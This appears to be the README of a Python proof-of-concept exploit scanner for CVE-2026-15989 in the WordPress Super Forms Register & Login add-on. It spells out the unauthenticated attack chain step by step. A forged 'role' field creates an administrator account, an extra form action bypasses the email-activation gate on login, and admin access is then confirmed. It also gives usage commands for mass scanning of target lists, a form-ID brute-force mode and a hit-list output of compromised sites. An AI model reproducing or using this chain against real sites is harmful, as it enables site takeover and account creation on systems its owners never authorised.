
Scanner PoC em Python para CVE-2026-15989, explorando injeção de função não autenticada no WordPress Super Forms para criar contas de administrador e verificar o acesso.
█████╗ ███╗ ██╗ ████████╗ ██╗ ██████╗ ██████╗ ██████╗ ████████╗
██╔══██╗ ████╗ ██║ ╚══██╔══╝ ██║ ██╔══██╗ ██╔═████╗ ██╔═████╗ ╚══██╔══╝
███████║ ██╔██╗ ██║ ██║ ██║ ██║ ██║ ██║██╔██║ ██║██╔██║ ██║
██╔══██║ ██║╚██╗██║ ██║ ██║ ██║ ██║ ████╔╝██║ ████╔╝██║ ██║
██║ ██║ ██║ ╚████║ ██║ ██║ ██████╔╝ ╚██████╔╝ ╚██████╔╝ ██║
╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝
» E X P L O I T S «
🔥 Descoberta automática sem fingerprint · Payloads cientes de validação · Zero autenticação · Classificação honesta
| Plugin WordPress | Super Forms – Drag & Drop Form Builder (add-on Register & Login) |
| Versão Afetada | <= 6.3.316 |
| Versão Corrigida | 6.3.317 |
| Autenticação | ❌ Nenhuma necessária — qualquer formulário de registro publicado é suficiente |
| CVSS | 9.8 CRITICAL |
role na whitelist → Criação de AdministradorGET admin-ajax.php?action=super_create_nonce ──► _sfs_id session + sf_nonce
│
POST admin-ajax.php action=super_submit_form data=<JSON>
│
before_email_success_msg() (Register & Login add-on)
│
$other_userdata = array( ..., 'role', ... ) ◄── client key whitelisted
│
$data['role']['value'] ──► $userdata['role'] (register_user_role overwritten)
│
wp_insert_user() ──► 🔥 administrator account, zero authentication
O add-on copia
$data['role']['value']diretamente para o array de dados do usuário sem validá-lo contra oregister_user_roleconfigurado pelo admin, sem uma allow-list e sem qualquer verificação de capacidade — um único campo"role": {"value":"administrator"}injetado vence.
POST wp-login.php log / pwd / testcookie
│ + action=super_submit_form ◄── the magic field
│
check_user_login_status() ──► pending/blocked gate SKIPPED
│
GET /wp-admin/users.php
│
200 = administrator proven · 403 = subscriber (patched build)
O add-on só aplica seu portão de ativação por e-mail / moderação quando a ação do POST NÃO é
super_submit_form— então a mesma ação de formulário que registra o usuário também desbloqueia o login nele, mesmo antes de qualquer verificação por e-mail.
discovery empty (REST · sitemap · links · ?page_id probe)
│
PHASE 1 — form-ID sweep 1..50, minimal payload, OWN SESSION PER ID
│ (shared sessions would invalidate each nonce)
│
'required fields' reject ──► PHASE 2 — REST markup fetch ──► full payload retry
│
every accepted candidate ──► login proof per id
│
contact form? ──► UNVERIFIED (never a false positive)
registration? ──► 👑 verified administrator
Formulários que não são de registro também respondem
error:false, então cada id aceito é apenas um candidato até que a credencial seja provada com um login real.
# zero dependencies — pure Python 3 stdlib (rich is optional, for the console)
python3 cve-2026-15989_poc.py --list labs.txt --output results.txt
# tuned concurrency / timeout
python3 cve-2026-15989_poc.py --list labs.txt --threads 20 --timeout 15 -o results.txt
# FULL MODE: discovery + role injection + login proof + form-ID brute (1..50)
python3 cve-2026-15989_poc.py --list labs.txt --full --output results.txt
labs.txt — uma URL base por linha:
http://localhost
http://192.168.56.101/lab-wp
https://10.0.0.5:8443/lab # self-signed TLS is handled automatically
# comments and blank lines are ignored
| Opção | Descrição |
|---|---|
--list FILE | arquivo de alvos — uma URL por linha (obrigatório) |
--output, -o FILE | hit-list — apenas alvos VULNERABLE gravados em tempo real (sem ANSI) |
--threads N | workers de alvos concorrentes (padrão 10) |
--timeout N | timeout de socket por requisição em segundos (padrão 10) |
--full | executa a cadeia COMPLETA — adiciona o fallback de brute de form-ID (contas SERÃO criadas em alvos vulneráveis) |
| Estado | Significado |
|---|---|
VULNERABLE | conta criada e acesso de administrador ao wp-admin comprovado (200) |
NOT-VULNERABLE | login OK mas páginas de admin retornam 403 — role ignorada → build corrigida |
UNVERIFIED | envio aceito mas login rejeitado (conta bloqueada/pendente ou formulário não-registro) — nunca reportado como falso positivo silencioso |
BLOCKED | envio rejeitado (reCAPTCHA, CSRF, campos obrigatórios, honeypot…) |
ERROR | alvo inacessível / falha de DNS — reportado com a causa exata |